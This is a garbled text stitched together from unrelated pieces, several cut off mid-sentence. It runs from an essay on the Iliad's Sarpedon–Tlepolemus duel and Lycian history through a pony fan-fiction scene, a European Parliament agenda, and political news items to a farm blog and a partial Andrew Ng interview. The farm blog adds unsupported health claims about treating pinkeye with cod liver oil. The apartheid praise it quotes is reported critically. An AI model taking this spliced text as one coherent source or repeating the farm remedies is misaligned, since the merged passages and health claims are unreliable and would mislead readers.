“Sarpedon, councellor of the Lycians, why must thou be skulking here, that are a man unskilled in battle? They speak but a lie that say thou art sprung from Zeus that beareth the aegis, seeing thou art inferior far to those warriors that were sprung from Zeus in the days of men of old. Of other sort, men say, was mighty Heracles, my father, staunch in fight, the lionhearted, who on a time came hither by reason of the mares of Laomedon with but six ships and a scantier host, yet sacked the city of Ilios and made waste her streets.But thine is a coward’s heart and thy people are minishing. In no wise methinks shall thy coming from Lycia prove a defence to the men of Troy.”
(«Σαρπῆδον Λυκίων βουληφόρε, τίς τοι ἀνάγκη / πτώσσειν ἐνθάδ᾿ ἐόντι μάχης ἀδαήμονι φωτί;
ψευδόμενοι δέ σέ φασι Διὸς γόνον αἰγιόχοιο / εἶναι, ἐπεὶ πολλὸν κείνων ἐπιδεύεαι ἀνδρῶν / οἳ Διὸς ἐξεγένοντο ἐπὶ προτέρων ἀνθρώπων: / ἀλλ᾿ οἷόν τινά φασι βίην Ἡρακληείην / εἶναι, ἐμὸν πατέρα θρασυμέμνονα θυμολέοντα:
ὅς ποτε δεῦρ᾿ ἐλθὼν ἕνεχ᾿ ἵππων Λαομέδοντος / ἓξ οἴῃς σὺν νηυσὶ καὶ ἀνδράσι παυροτέροισιν / Ἰλίου ἐξαλάπαξε πόλιν, χήρωσε δ᾿ ἀγυιάς: / σοὶ δὲ κακὸς μὲν θυμός, ἀποφθινύθουσι δὲ λαοί. / οὐδέ τί σε Τρώεσσιν ὀΐομαι ἄλκαρ ἔσεσθαι».) (note 10)
As we know, elements of real history appear in works of literature. In the process of analyzing the above extract from the Iliad, many questions arise related to the feeling of justice (note 11).
And Homer continues: “… and the long spears sped from the hands of both at one moment. Sarpedon smote him full upon the neck and the grievous point passed clean through and down upon his eyes came the darkness of night and enfolded him. And Tlepolemus smote Sarpedon upon the left thigh with his long spear.” («…καὶ τῶν μέν ἁμαρτῇ δούρατα μακρὰ / ἐκ χειρῶν ἤϊξαν·ὃ μὲν βάλεν αὐχένα μέσσον / Σαρπηδών, αἰχμὴ δὲ διαμπερές ἦλθ’ ἀλεγεινή, τὸν δὲ κατ’ ὀφθαλμῶν ἐρεβεννὴ νὺξ ἐκάλυψεν / Τληπόλεμος δ’ ἄρα μηρὸν ἀριστερὸν ἔγχει μακρῷ / βεβλήκειν».) (note 12)
How, does the poet, however, present the theme of the duel and ultimately the heroes’ mutual destruction in the Iliad epic? The fifth rhapsody describes the encounter, dialogue and finally the duel with the simultaneous blow dealt by Sarpedon and Tlepolemus causing the death of the latter and serious consequences for the former, resulting from his serious wound and his withdrawal from the battle. The outcome of the duel is obvious in the Iliad because convention dictates that one prevail entirely over the other and perhaps a slight wounding of the victor. In his epic, Homer does not kill Sarpedon with Tlepolemos’ first blow. In the poet’s eyes, Sarpedon is the hero most suited to challenge Patroclus. He, Sarpedon, had to survive in order to be killed much later in rhapsody XVI (Π) by Patroclus. Tlepolemus invokes the name of his ancestor Heracles, the reason being the conquest of impregnable Troy. The insult and distain in Tlepolemus’ speech to Sarpedon had much in common with the dialogue between Agamemnon and Diomedes. In the Theban tradition, the simultaneous death of heroes/dualists was a usual act in the drama. It is worth mentioning the brothers Tydeas and Melanippos’ destruction of one another which caused their race to be wiped out (note 13). Thus we move from the literary tradition of Thebes to the Iliad.
At a first glance, the Sarpedon-Tlepolemus episode seems insignificant. Special attention should be given to it however, since information is poor in all other sources regarding the state of affairs prevailing in south west Asia Minor at that particular time. Works throwing light directly on the history of Lycia were mostly written by people born in Asia Minor, such as Alexander Polyhistor, Menecrates of Xanthus (note 14), of whose writings only fragments survive. The body of inscriptions in Lycian script A and B is restricted in breadth and variety. These are mainly burial inscriptions. Based on epigraphy data, their analysis and interpretation becomes even more complicated due to Lycian languages being studied at different levels (note 15). Epigraphy material which includes Greek inscriptions from Lycia is mentioned at a later date (note 16). Likewise, archaeological data is scarce because in specific regions archaeological surveys had not been realized and completed on a broad scale, while even in places such as e.g. Xanthos, Limyra and Tlos where excavations have been carried out, surveys and studies had obviously not been made in all the layers (note 17).
Analysis both of extracts from the Iliad and a considerable part of information on the Lycians learned from Greek authors takes on an epic mythological character in the way it is approached. Religious and mythological plots also appear in reliable historical sources, because religion, on the one hand, had from its beginnings a spiritual, moral and ideological grounding in the life of ancient societies, while also directly influencing social relations. Various political events such as conflicts with the Rhodians, as well as social phenomena such as the matriarchal structure of family were refracted through the prism of mythological symbols and reflected in the epic of the Iliad (note 18).
The clash between Sarpedon and Tlepolemus has often interested scholars when analyzing the Homeric epics. In the episode narrating the duel between the son and grandson of Zeus, all scholars alike discerned the epic mythological dimension of the conflict between Lycians and Rhodians, supposedly taking place in the Mycenaean era (note 19). Nevertheless, most authors restricted themselves to confirming the event without analyzing the causes of the conflict.
During the 9th, 8th, 7th and perhaps part of the 6th century BC, the Rhodians fought against the Lycians, trying to gain access to the coast of Lycia, so as to infiltrate its fertile and rich valleys, make use of its forests’ abundant timber as raw material for their shipbuilding industry (note 20).
When examining the issue of the Lycians’ conflicts with Rhodes, it is essential to focus our attention on the observation of the commentator “They say that the Lycians were always enemies of the Rhodians” (note 21). It is clear that the enmity between the Lycians and settlers from Rhodes had its roots in their trading relations. Trade played an important part in the island’s economy and the matter of trade routes security was vital in achieving economic goals. Already in letters from the diplomatic archive of Tel El Amarna, associated with the 14th c. BC, mention is made of the pirate races of the Lukka (note 22).
The Lukka attacks on the “country of the Pharaohs” the first half of the 14th c. BC, was the cause for the peculiar “continuation” of their seasonal raids on Alasia in Cyprus (note 23).
The Egyptian Pharaoh Amenhotep III was always preoccupied with the protection of the Delta coast from raids by the Lukka. In modern historiography the Lycians are considered to be an eastern nation, speaking an Indo-European language which was closely connected to that of the Luwians and Hittites (note 24). Data analysis of Hittite and Egyptian sources from the end of the Late Bronze Age, often lead scholars to identify the early Lycians with the Lukka races (note 25). The periodic raids have led us to believe that there were permanent or seasonal bases on the south coast of Asia Minor or Cyprus. “Marauding groups of Lycian pirates invaded the shores of the eastern Mediterranean, they brazenly disembarked in the harbours of Cyprus, plundering the locals dwelling on its coast as well as those of Egypt and the Nile Delta” (note 26). T. Bryce justly doubts the type of information supplied in these letters, on the issue of tracing the Lukkas’ origins to the 14th c. BC. Nevertheless, the particular document is a testimony to their activities (note 27). Conflicts escalated at the time of Pharaoh Merneptah’s reign in the last quarter of the 12th c. BC. “No country stayed far from conflicts and waves of fire reached the courtyards of the Egyptians’ houses” (note 28).
“Sea peoples” was the term used by Egyptians for races of a different origin but with a particular ethnic placement. The Lukka were placed with great certainty among these races (note 29). Their inclusion in this group of “sea peoples” allows for the hypothesis that they were a maritime presence during the 12th c. BC. There was no reference to these peoples in Egyptian sources, following the reign of Merneptah after 1220 BC (note 30).
The reasons for their “disappearance” from the sources of historiography may be the change of their name, their resettlement or the incorporation of their ethnic group in some other.
A somewhat later source, namely extracts from the treatise of Heraclides of Pontus (387-312 BC) contains important information about ancient Lycia. We read in an extract on the Lycians: “The Lycians live off piracy. They do not live by the law and they have always been governed by women” (note 31). This extract, according to O. Treuber, is a reliable testimony on the war of the Lycians against the Rhodian trading ships (note 32). Unfortunately, no similar subject matter was found in other sources. Moreover, Strabo considers the Lycians as being a noble people with a leading position in culture, unlike their neighbours, the inhabitants of Pamphylia, who used their harbours as auxiliary stations |
, a tiny light flashing from the very tip. The cup didn’t move, and she clasped her hoof to the side of her head, crying out in pain.
I hooked the cup in my fetlock and lifted it up for her. “Here, sis,” I said, smiling weakly.
She took the cup from me and sipped the wine from it. “Thank you,” she whispered, not daring to look up from the mug.
“Sure thing,” I answered as casually as possible. I turned back to the two zebras. “We couldn’t stay here if we wanted to, we have obligations at home in Blackhoof. There are ponies we consider family there. All we want is to make amends for what happened, and let Xeno make her own choice on if she wants to come back with us.”
“We love her like a sister,” Lost added. “She’s walked through fire for us, and we’d do the same for her.” She pointed to the slash across my muzzle with one hoof, while the other pointed to the red spots on her neck where the splinterwolf bit her. “We fought to get here, because we care about her and owed her a debt. After what we did...”
“Thank you,” rumbled Zolera. “It means much.” He finally looked to us, and the corner of his mouth twisted up in a small, but genuine, smile.
“Xeno’s place is here with her tribe, as much as it would be nice to let her roam the Wasteland on her own,” said Zorana, after another bite of her food. “There’s more to our kind than you know, and probably more than she’s willing to tell you. We’ve lost countless members of our tribe to the wilderness, to raiders and hunters who see stripes and attack without thinking of allegiances. The stars do have a stake in what happens to my kind, whether directly or indirectly. Were you to stay a night, you would understand.” She looked to the sky, at the cloud cover. It was getting late, and if this dragged on any further, her words might become prophetic.
“Iz that why the tribe had moved from where Xeno had lasht known?” asked Lost. She took another drink of her wine and set the cup down. As she reached for another bite of her food, she yawned.
The dryness finally got to me. Without thinking, I grabbed my own cup and downed a good portion of the wine. It tasted horrible, but the burn killed off any aftertaste. I hated alcohol. Setting the cup down with one hoof, I grabbed some of the salted bacon-meat and took another bite. It was a never-ending cycle, but I could stand the dryness. The bite from the wine? Not so much. I tried to take small bites, hoping I could resist anything the zebras might have thrown at us. I prayed Lost was wrong, since they’d been eating the same as we had.
“Correct,” she answered. “The mall here was unused, but the enclosed space is safer for us. You can see, the land itself seems to be against us here.” She looked behind her and waved a hoof at the barren emptiness all around. “This isn’t natural, and many fear the stars may be responsible. I’ve yet to find evidence to tell them otherwise.” She turned to Zolera, prodded him in the side, and said something in her language.
He nodded, looking off into the distance.
I followed his gaze, and watched for what felt like ages. I couldn’t hear anything, until something jumped in the distance. My focus snapped back, but nothing nearby had changed in the slightest.
“Despite whatever you have againscht Rose, and whatever 'of the arum lily' means, can't you make a deal with her?” Lost asked, pointing a hoof. “She's a copy of a real pony, and she can make dozens, perhaps hundreds more. If money iz worthless here then what about labor? Her copies can work in exchange for your expertise. They can gather the supplies you needs as well as the ingredients needed for her chems. All without putting your tribe at rishk...”
Zorana raised a hoof to her chin and rubbed it several times, looking quite thoughtful. Something in the corner of my eye moved, just the tiniest bit, whenWeek of 2 February
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Tuesday and Wednesday - The EP hosts a two-day meeting with nationalparliamentarians from all over the EU and MEPs to discuss economic, budgetaryand social matters, aiming to strengthen cooperation between the European andnational parliaments. The President of the EP and EC, Martin Schulz andJean-Claude Juncker, will participate in this European Parliamentary Week.
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Conference organised under Article 13: Wed 4 February
Video
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A turning point for Greece, and Europe?
Economic reform under the microscope
MEPs reactions to the ECB’s massive programme for purchasing bonds
Austerity - time to move on?
Background
European Parliamentary Week (website)
Children/legal protection
Thursday - A draft law to ensure that children suspected or accused of a crime in any EU country have mandatory access to a lawyer at all stages of criminal proceedings, are assisted by their parents, have the right no to be questioned in public and are entitled to receive medical examinations, will be put to a vote in the Civil Liberties Committee. More than 1 million children are involved in criminal proceedings in the EU each year (12% of the overall number).
Streaming
Live schedule, Thursday 5 February 9.00-12.30 (electronic vote: 10.10-11.00)
Background
Committee on Civil Liberties, Justice and Home Affairs (website)
Syria
Monday - the United Nations and Arab League Special Envoy to Syria Staffan de Mistura will be heard by the Foreign Affairs Committee on the latest developments in the country, including the recently agreed UN plan for a 2.9 billion US dollars aid to help the millions of Syrians in need. The EU has recently increased its assistance to Syria by €136 million in humanitarian funding, having already mobilised over €3.12 billion.
Streaming
Live schedule, Monday 2 February 16.00-17.30, Committee on Foreign Affairs
Videos
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Arab League chief calls for greater EU role in bringing peace
Foreign Security policy: anything new?
Top story
Syria: more than three years of conflict and three million refugees
Background
Committee on Foreign Affairs (website)
EU budget
Thursday - Ideas for improving the way the EU is funded, tabled by the High Level Group on Own Resources, will be debated by the Committee on Budgets, following a presentation by Group Chair Mario Monti.
Streaming
Live schedule, Thursday 5 February 9.00-10.30, Committee on Budgets
Infographics
You can find the infographic in your language by clicking on the upper left corner of the page.
EU budget explained: expenditure and contribution by member state
Value for money: how the EU budget benefits people and the economy
EU’s long-term budget: how it all adds up
Budgetary procedure
Videos
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EU budget: Lost billions
The EU budget sliced & diced
Top stories
EU budget for 2015 - a tool for investment
The EU’s long-term budget (2014-2020)
Background
Committee on Budgets (website)
The bumpy road to the 2015 EU budget (briefing)
Our multimedia content is available in 24 languages (To select yours please, click in the upper-left corner) and ready to be embedded, published or broadcasted. Discover our online tools.The Corvallis Secular Society in Oregon has just placed an ad quoting a historical document on the side of a single bus.
But, somehow, you know it’s going to be controversial.
The ad was designed by the Freedom From Religion Foundation and it features an abridged version of President John Adams‘s line from the 1797 Treaty of Tripoli: “The Government of the United States is not in any sense founded on the Christian religion.”
“We are seeking to lay to rest that dangerous revisionist myth that the United States is a ‘Christian nation,’ ” said FFRF Co-President Annie Laurie Gaylor. “This is a small but significant victory for our city,” noted Robert Neary, who worked with John Dearing, president of the Corvallis Secular Society, in placing the sign.
I know it’s Oregon but I give it till the end of the weekend before someone complains…
(via FFRF)The last decade has been rocky for Angela Brancato, who grew up in Chicago's Mount Greenwood neighborhood and then left with her fiance in 2007 for brighter job prospects in upstate New York and later North Carolina.
The prospects never materialized, and they returned in 2012 to Mount Greenwood, where she found part-time work at a neighborhood diner.
That's where she works today. She voted for Donald Trump. Two months after his inauguration, Brancato and other supporters in Chicago remain optimistic about his presidency.
"When (Barack) Obama ran, he ran on the idea of change," Brancato, 31, said on a recent morning before going to work. "The country certainly has changed in the last eight years, and it's not a change that I particularly care for."
Pockets of intense Trump support exist in the broad-shouldered city of deep blue Democrats, particularly in Brancato's Mount Greenwood on the Far Southwest Side, in Edison Park and Norwood Park on the city's Far Northwest Side and in sections of Sauganash/West Ridge on the Northwest Side — neighborhoods with substantial populations of police and firefighters.
Trump won nearly 70 percent of the vote in three Mount Greenwood precincts and more than 50 percent in 15 other precincts in Chicago's 19th Ward, which includes the Beverly neighborhood. In five Edison Park and Norwood Park precincts, Trump gathered more than half the votes. He also got nearly 60 percent of the vote in three precincts in Sauganash/West Ridge.
Those Chicagoans who voted for the businessman say they did so to rev the economy, support law enforcement, shake up a stagnant political system, and check immigration and government growth. While Trump fumed over an investigation into his campaign's possible ties to Russian hackers and the Senate grilled his Supreme Court nominee, his Chicago supporters gave the new president incomplete ratings on his job performance.
Brancato said her vote came down to her economic distress and the Affordable Care Act, which became too costly for her to use. She said she and many others are fed up with politics as usual, that the education system is moving in the wrong direction and the country should be more conscientious on immigration.
"I voted for Trump because he's not really a Republican," said Brancato, who added that she voted for Barack Obama in 2008 and George W. Bush in 2004. She didn't vote in 2012. "I'm hoping and praying that he can somehow get these people who are so hopelessly block-headed to at least listen to each other."
Antonio Perez / Chicago Tribune Dave Benedict, owner of United TV Service in Chicago's Mount Greenwood neighborhood, voted for Donald Trump and said it is too early to tell how effective a president he will be. Dave Benedict, owner of United TV Service in Chicago's Mount Greenwood neighborhood, voted for Donald Trump and said it is too early to tell how effective a president he will be. (Antonio Perez / Chicago Tribune)
'Dude, shut up'
Brancato is concerned, however, about Trump's unfounded and combative comments on voter fraud and surveillance on his phone, a continuation of her frustration with Trump's abrasive comments in the campaign.
"It would just be like, 'Dude, shut up,'" Brancato said. "'One of these days something's going to come flying out of your mouth and it's going to do irreparable damage.'"
She said Trump's allegations should be investigated fully and she remains concerned by indications that Russian hackers may have tried to influence the November election.
Down the street from Brancato, at United TV Service, owner Dave Benedict said he voted for Trump because he is taking "a businessman's approach to running the country." Like Brancato, he viewed Hillary Clinton as an extension of Obama's eight years as president, which Benedict viewed as a failure.
"He kind of has a trigger finger when it comes to his opinions," Benedict said of Trump. "He's not going to be politically correct. He's just going to tell you his opinion and that's the way it is."
Benedict, who said he voted for Mitt Romney in 2012 and John McCain in 2008, said it is too early to tell how effective a president Trump will be. Benedict said he would be concerned if proof emerged that Trump's campaign colluded with Russians to influence the 2016 election or if Trump's claim that Obama ordered surveillance on Trump's phone turns out to be false.
Former 19th Ward GOP Committeeman Steven Graves said it should come as no surprise that Trump did well in Mount Greenwood, "because this is a middle-class, hardworking neighborhood," where people are tired of "the same old same old," and believe Trump can deliver jobs, lower taxes, cut government, secure our borders and strengthen the military.
"I think they felt like they finally could hit back," Graves said. "I think his heart's in the right place and I think he's learning as he goes." But, Graves added, "when he says, 'Drain the swamp,' half the crowd is his crowd."
Trump's election came at a particularly volatile time in Mount Greenwood, where 90 percent of residents are white and many police officers reside in brick Georgians and trim ranches on narrow city lots. Three days before the election, police shot and killed Joshua Beal, 25, an African-American from Indianapolis, in Mount Greenwood.
Authorities have called the confrontation a road rage incident. The shooting, which remains under investigation, sparked protests that pitted police supporters against groups critical of the shooting.
Trump backers in law enforcement privately said they are aggravated their support is perceived as racist, when they maintain it is based on what they see as declining support from Obama and the likely continuation of that if Clinton had been elected.
The country certainly has changed in the last eight years, and it's not a change that I particularly care for. — Angela Brancato, Mount Greenwood resident and Trump voter
Turmoil to empathy?
About 30 miles north of Mount Greenwood, in neighborhoods that include Edison Park and Norwood Park, Robert Athey said he voted for Trump as a way to curb a federal government that was overreaching. Athey, who served as the Midwest representative of the U.S. secretary of labor in 2002-09, also said the Affordable Care Act was unaffordable.
Athey, of Norwood Park, also said that Obama and Clinton, as secretary of state, mishandled the U.S. response to Syria's civil war and Clinton in particular showed incompetence in the 2012 terrorist attack on U.S. government buildings in Benghazi, Libya, that left four Americans dead.Andy Cohen will co-host CNN’s New Year’s Eve celebration with Anderson Cooper. Cohen, best known as host and EP of Bravo’s Watch What Happens Live, will join Cooper in Times Square in New York City. “New Year’s Eve Live with Anderson Cooper and Andy Cohen” on Sunday, December 31st.
“Andy is the life of the party wherever he goes, and what bigger party is there than New Year’s Eve? It is going to be a blast!” said Cooper in today’s announcement, while Cohen said, “I’ve been friends with Anderson for twenty-five years. We’ve traveled the world together and performed in 30 plus cities with “AC2″ and it’s all led to this one huge night!”
Terrible canned quotes aside, the two men have a great rapport, as recently evidenced when Cohen was a guest on Cooper’s primetime CNN show, offering to produce a Real Housewives-ish reunion show for CNN in which The Wives Of Donald Trump could thrash out their differences, literally. His suggestion came the day Ivana called herself Trump’s First Wife and therefore First First Lady while plugging her book; Melania Trump was not amused.
In that edition of AC 360, Cohen also explained how President Donald Trump’s tweets are classic Real Housewives stunts:
CNN terminated its agreement with Griffin to appear in its New Year’s Eve program in May, after her photo shoot in which she held up a “decapitated” head of President Donald Trump and was blasted both by the left and the right.
Now in its 11th year, CNN’s New Year’s Eve show is a global celebration featuring contributions from CNN correspondents across the country and around the world.Kevin Page, the Parliamentary Budget Officer, will serve legal notice to those departments that have yet to hand over detailed plans for budgetary cuts early this upcoming week, iPolitics has learned.
Page issued the following statement Sunday:
“I can confirm to you that the PBO will be filing and serving legal notice on all non-compliant Deputy Heads early this week. As it is now clear that this matter will constitute the subject of a legal action, it would be inappropriate for me to comment further.”
As of the PBO’s October 16 count, 43 departments had committed to providing information by Friday October 19. As of Friday afternoon, only one small department had done so, but even in that case, the PBO was still looking for more details which that department – unnamed – has promised for Monday.
Some of the departments that had promised to come forward with budgetary details by Friday included National Defence, Public Safety, Canadian Heritage, and Human Resources and Skills Development.
A further 20 departments had offered no commitment at all to the PBO that they would be coming forward with the information pertaining to budgetary cuts. Among those are the Canada Revenue Agency and the Canadian Food Inspection Agency.
Read more about the tussle between PBO and the departments, and what it means, here.The Greens have criticised Labour and the Tories for prioritising internal party conflicts over the challenges facing Britain
Caroline Lucas, the Green Party’s sole MP, has lashed out at Labour and the Conservatives for infighting while the country burns.
‘Britain is in crisis and people are scared about the future,’ she said in in a statement issued this afternoon.
“Never have we had a greater need for calm leadership to be shown by politicians – yet instead both the Tories and Labour are engaging in civil wars. At such a key moment for this country the political establishment is utterly failing the British people. “We have a Government in chaos, an economy facing a crisis and people up and down the country facing serious hardship – yet the Labour Party is in utter turmoil, thanks mostly to some Shadow Cabinet Ministers trying to take their party back to 1997 but also partly because Jeremy Corbyn did fail to show the passion needed in the EU referendum. “Instead of indulging in months of introspection and infighting, this is an opportunity to recognise that a more plural politics is in both the left’s electoral and political interests. “And with the growing likelihood of an early General Election, the importance of progressive parties working together to prevent the formation of a Tory-UKIP-DUP government that would seek to enact an ultra-right Brexit scenario is ever more pressing.”
The Green Party has gained many new voters in recent days, according to Lucas, and will ‘stand against any austerity or slashing of environmental legislation that may come with Brexit.’
Lucas is currently standing for joint leadership of the Green Party with Jonathan Bartley, who wrote for Left Foot Forward yesterday on the need to create a more inclusive democracy following the leave vote.Fly season has begun. They are always a challenge when you have livestock. Fortunately our animals don’t spend much time in the barn when it’s warm and the chickens do a pretty good job cleaning up the pasture and eliminating the flies. They still make me a bit paranoid. Growing up we were obsessed with eliminating flies because they caused so much disease and distress which resulted in lower productivity. This fear is pretty prevalentin the cattle industry. All sorts of chemical concoctions have been invented with lots of creative ways of applying them. Sprays, powders, rubs, automated misters, fly traps, scratching posts that administer the chemicals while the cow rubs against it, etc. I’ve even seen a pasture vacuum to suck up all the manure and any bugs that it may harbor. For us, beyond the chickens and careful attention to manure management, we don’t do much in the way of fly control. When I tell farmers around here what we do for flies, the first response I get is “that wouldn’t work for us.” The second thing (sometimes the first thing) that is said is “you must have a lot of problems with pinkeye.) For a lot of people that seems to be a real problem. I remember using all kinds of shots, sometimes right into the eye, powders, and glue on patches to try to treat pinkeye and keep it from spreading in a herd. I know natural beef producers who have 10 – 15% of their calves dropped from the program because of pinkeye and the treatment options they use. I’ve seen animals blinded, eyes exploded and then removed, and pinkeye that has turned into an abscess and killed the animal. It can be a huge problem, and flies are a vector for spreading it. A few years ago I managed a herd of dairy goats. We had a good, natural, fly control program similar to the one I currently use. We hadn’t had a case of pinkeye in years. One summer we planted a new field with sorghum/Sudan grass to increase our hot season forage. With in three days of turning the goats into the new pasture we had our first case of pinkeye. Several more showed up the next day. This was a problem. We were milking these goats in a Grade A Organic Raw Milk dairy. Most of the treatment options the vet recommended would make the milk unusable and the goat no longer Organically certified. Not a good option. After some more research into alternatives, we hit on cod liver oil. Two ml squirted into the eye and 10 ml given orally. We treated the goats with pinkeye and then the whole herd with oral cod liver oil. As fast as the problem appeared it disappeared. It turns out that pinkeye is an indicator of vitamin A deficiency. Most of our pastures were minerally well balanced and had a diverse mix of grass, forbs, and legumes. The new pasture hadn’t had enough work done to balance the soil, and was planted in a single crop. (I suspect the sorghum/Sudan grass isn’t as well balanced even in good soil. I’ve seen lots of problems associated with it.) Once we identified the deficiency we were able to meet the need with a suplement. The only other time I had a pinkeye problem was when I was feeding hay purchased from an “organic” farm that was not minerally ballances. Attending to the quality of the soil and the feed produced on that soil will get you much better results than waging war with the flies.
I think there are lessons to be learned here as far as human health is concerned. Food grown in soil that is properly ballanced promotes health. Food that is deficient in something, because it was grown in soil that was deficient promotes disease.Sara Legvold is an executive committee member of Texas’ Republican Party. Say hi to her:
Legvold is of Cuban descent, a refugee from the current Cuban government. She is in her mid 50s and came to this country when she was a little girl. According to reports, Legvold is “originally from Cuba and now a naturalized U.S. citizen living in Keller.”
Yesterday Legvold posted her support of apartheid on a Facebook page for Latino conservatives:
According to this member of the Texas GOP executive committee, apartheid ensured that “almost all blacks had jobs, food to buy in their stores, and few had AIDS!” Legvold believes that Nelson Mandela fought against this apartheid system and helped to create a South Africa with over “50+ unemployment, little food to buy, and runaway inflation further reducing buying power, and Over 20% of the population has AIDS!”
Now, Legvold might have missed actual history when it comes to South Africa, since a quick search confirms that apartheid wasn’t so rosy for black South Africans. For example, as one post points out:
The apartheid, institutionalized from 1948 to 1994, was a means of racial classification and segregation that affected nearly every aspect of life in South Africa. The Population Registration Act of 1950 required all South Africans to be racially classified into one of four groups: white, black, colored, or Indian. There were many complicated rules within the apartheid system – measures that aimed to keep racial groups separated and maintain white supremacy within the country.
That post mentions several laws under apartheid:
Prohibition of Mixed Marriages Act: “Commenced in July 1949, the Prohibition of Mixed Marriages Act outlawed marriages between whites and people of other races.”
Suppression of Communism Act: “This law criminalized communism and the Community Party in South Africa. Communism was loosely defined and could include ideology that called for a significant change to how the government functioned.”
Natives (Abolition of Passes and Coordination of Documents) Act: “The Abolition of Passes and Coordination of Documents Act required black South Africans over 16-years-old to carry identification including a photograph and place of origin at all times.”
Extension of University Education Act: “This act made it illegal for students classified as black or colored to register at an open university without the written permission of the Minister of Internal Affairs…”
Bantu Homeland Citizens Act: “The Bantu Homelands Citizens Act took away state citizenship from black South Africans and classified them into ethnic groups.”
Sounds awesome to us, right?
Now, as to other claims. Yes, South Africa has rampant unemployment right now, but not “50+.” Here are the latest figures (source):
Inflation (source):
AIDS rate (source):
Problems in South Africa? Yes. But isn’t AIDS a global epidemic and does Legvold seriously think that segregating races and suppressing people is the right system? And we weren’t aware that the AIDS virus was around in the 50s, 60s, and 70s, during the height of apartheid. Who knows, but if her previous opinions are any indication, looks like we have a Cuban lady who is really into white people. For example, here is what she posted earlier this summer in the same conservative group. Hello, Stormfront!
And then there are these actual quotes from Legvold about immigrants:
“No compromises, no guest work, until we have our borders under control. I want to deport everybody who is illegal — children, dogs, pets, birds. My compassion has dried up, just as my tax dollars have dried up.” (source) “They’re here as invaders, as illegal aliens, as criminals. When I see they’re being favored over American citizens in every way, yes, I am outraged, and I am not alone.” (source)
The irony of a naturalized Cuban citizen going off on those “illegals” is a bit too much.
We also wonder if Legvold is pushing for an apartheid system here in the United States, since from her posts, it is clear that she thinks apartheid is awesome.Bronwyn Bishop: Speaker dismisses travel misuse allegations a 'political beat-up'
Updated
House of Representatives Speaker Bronwyn Bishop has described allegations she misused her travel allowance as a "political beat-up" and says she is sorry they distracted attention from Labor leader Bill Shorten.
The Australian Federal Police (AFP) have referred a complaint about Mrs Bishop chartering a helicopter to go to a Liberal Party function to the Department of Finance for investigation.
Mrs Bishop said she booked the $5,227 charter "in the normal way" and reported it properly.
"There's been a political beat-up and I'm very sorry it's taken the heat off Mr Shorten and his triple-whammy carbon tax bill," she said.
But Mrs Bishop conceded the trip, from Melbourne to Clifton Springs Golf Club and back last November, was expensive.
"When I saw the figure, it looked large and I thought I should pay it, and am paying it," she said.
Prime Minister Tony Abbott has thrown his support behind Mrs Bishop, saying he will not be asking the Speaker to step down during the investigation.
At a Sydney press conference, Mrs Bishop also said she would not be resigning as Speaker.
"One doesn't resign for an error of judgment when it's within the guidelines, and indeed it is," she said.
Mrs Bishop also said another two chartered flights she took in 2014 have also been referred for investigation.
The Speaker defended herself over questions of whether government entitlements to carry out "official government business" should be used for attending a Liberal Party fundraiser.
"It's my speaking engagement and I sign it as presiding officer to carry out my job to speaking to people of all sorts. I speak to community groups, I'll speak to Liberal groups, I'll even speak to Labor groups.
"The point is we that don't disqualify any person from being eligible for me to be a guest speaker at."
Mr Shorten said that for Mrs Bishop and Mr Abbott to claim this as a beat-up "shows they just don't get it" and has labelled their "arrogance" as "breathtaking".
"Just because you're the godmother of the Liberal Party doesn't mean you're beyond reproach," he said.
"Putting Bronwyn Bishop in the Speaker's chair was another one of Tony Abbott's captain's calls.
"She was his personal choice and her conduct as Speaker is entirely his responsibility.
"It's time for Tony Abbott to stop protecting his political mentor."
Bishop has Prime Minister's confidence, Labor wants AFP probe
The Prime Minister said he understood why there was public interest in Mrs Bishop's spending, but that she was a "good Speaker".
"I don't think it's appropriate for people to stand aside simply because the finance department might be having a look at something," he said.
"The important thing is Bronwyn's admitted it was probably an error of judgment and she's repaid the money.
"She has my confidence."
However, Labor MP Pat Conroy said Mrs Bishop's travel claim should be investigated by the AFP in the same manner it investigated allegations into former speaker Peter Slipper's use of Cabcharge vouchers.
"I firmly believe the Federal Police should investigate," he said.
"It's the Federal Police's responsibility to investigate supposed breaches of the criminal code.
"Is anyone seriously suggesting the Department of Finance should be investigating supposed criminal actions?"
The investigation will look into the 90-kilometre trip from Melbourne to a party fundraiser near Geelong.
The cost of the trip was revealed in the Speaker's six-monthly report to the Finance Department.
Topics: federal-government, government-and-politics, liberals, federal-parliament, australia
First postedIf venture capital and research funding are any indication, artificial intelligence will play a leading role in shaping our future. And few tech innovators in the private or public sector have been as prominent in defining that role as Andrew Ng, chief scientist at China’s search giant Baidu. Ng has taught AI at Stanford, led the Google Brain project, founded online education pioneer Coursera, and just last year took his post at “China’s Google” in hopes of figuring out how to teach computers to see and hear, and to do that for the world’s most populous country.
Small wonder why China represents such a huge opportunity for machine intelligence applications. Baidu is the world’s fifth most trafficked website. Shopping site Taobao, messaging app QQ, media company Sina, and microblogging platform Weibo, all Chinese properties, hold spots within the top 15. When Baidu designs an application, according to Ng, mobile comes first; cell phones are the primary channel of access for Chinese consumers.
Ng is soft-spoken with an undercurrent of passion when discussing his research. Today he manages a growing team at Baidu’s U.S. campus in Sunnyvale, Calif. He does not believe all hype about the robot revolution, but says he does believe researchers are only scratching the surface of a machine’s potential. Killer robots are not his concern; he prefers to fret about a microprocessor’s run time or pushing voice recognition to a place where humans actually trust it. To him, there’s a lot of work to do. But Ng believes that there are enough good ideas and smart companies that someday soon we’ll be able to speak, rather than tap, when we want something on our smartphones.
In a recent chat on Skype (edited for brevity and clarity), Ng outlined what he thinks is within reach—and what isn’t—for machine intelligence.
What excites you most about the potential for AI and deep learning?
A number of organizations, us and others, have just amazing computer vision technology, doing things that seemed impossible even a year ago. I think the struggle is figuring out the most compelling products. I don’t know that any of us have found the killer app yet.
In Silicon Valley there are a lot of startups, using computer vision for agriculture or shopping—there are a lot for clothes shopping. At Baidu, for example, if you find a picture of a movie star, we actually use facial recognition to identify that movie star and then tell you things like their age and hobbies. If they are wearing clothing that we recognize, we can find related clothing you can buy, and we show that. That’s been pretty popular.
Could advertisers eventually bid on the placement in relation to that image?
We’re not doing that right now; we’re just finding related clothing. But there are a number of verticals like that—recognizing interesting people, recognizing a holiday destination and then showing other pictures of that same destination. There’s probably a potential for computer vision to do even bigger things, but I don’t think we’ve figured out what that is.
What’s the most valid reason that we should be worried about destructive artificial intelligence?
